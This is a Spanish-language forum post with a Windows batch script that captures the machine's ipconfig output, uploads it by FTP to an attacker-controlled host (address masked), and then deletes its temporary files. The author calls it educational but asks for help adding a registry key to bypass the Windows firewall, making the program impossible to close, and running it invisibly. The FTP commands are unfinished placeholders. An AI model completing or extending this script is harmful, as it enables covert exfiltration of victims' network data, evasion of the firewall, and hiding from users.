Código:
@echo off
set fichtemp=%temp%/ip.txt
set ftp=ftp.txt
goto notificador
:notificador
ipconfig > %fichtemp%
rem #Hasta aqui tenemos su ip, obtenida mediante ipconfig#
rem #y la hemos estampado en un txt. Ahora iniciaremos#
rem #una sesion ftp para subir este archivo con esos#
rem #datos a una maquina ftp bajo nuestro poder.#
echo Comandos para FTP, Linea 1 >> %ftp%
echo Comandos para FTP, Linea 2 >> %ftp%
echo Comandos para FTP, Linea 3 >> %ftp%
echo Bye >> %ftp%
rem #Para subir ese archivo por ftp necesitamos abrir#
rem #una sesion de ftp e introducir comandos de ftp#
rem #que estan en ftp.txt, 1 comando por cada linea#
rem # ( Comandos de ftp incompletos... )#
goto ftp
:ftp
ftp -s:ftp.txt XXX.XXX.XXX.XXX
del %fichtemp%
del %ftp%
exit
Como vereis el programa es totalmente didáctico, tiene poco o ningun uso ( para notificar la ip teneis el excelente Kotilla v1.0 )....
Ahora, ( mas que nada para aprender) me gustaria perfeccionar el programa en :
-Conseguir los comandos de FTP apropiados para :
::Abrir sesion
::Subir archivo
::Cerrar sesion
-Agregar una llave al registro, para saltarse el firewall de windows. ( No es muy dificil )
-Capacitar el programa de inmunidad: Es decir, que no pueda ser cerrado de ningun modo mientras se ejecuta... FTP es lento y mientras sube el archivo y demas se veria claramente. A poder ser tambien seria excepcional hacer su ejecucción invisible ( no se si eso es posible ).
------------------------------------------------------------------------
Antes de nada, agradezco a todo programador que me heche una mano ya que todas estas cosas las pido no para perfeccionar el programa , si no para aprender a hacerlo y saber hacerlo por mi mismo en un futuro ...
Ciao y gracias a to2 de antemano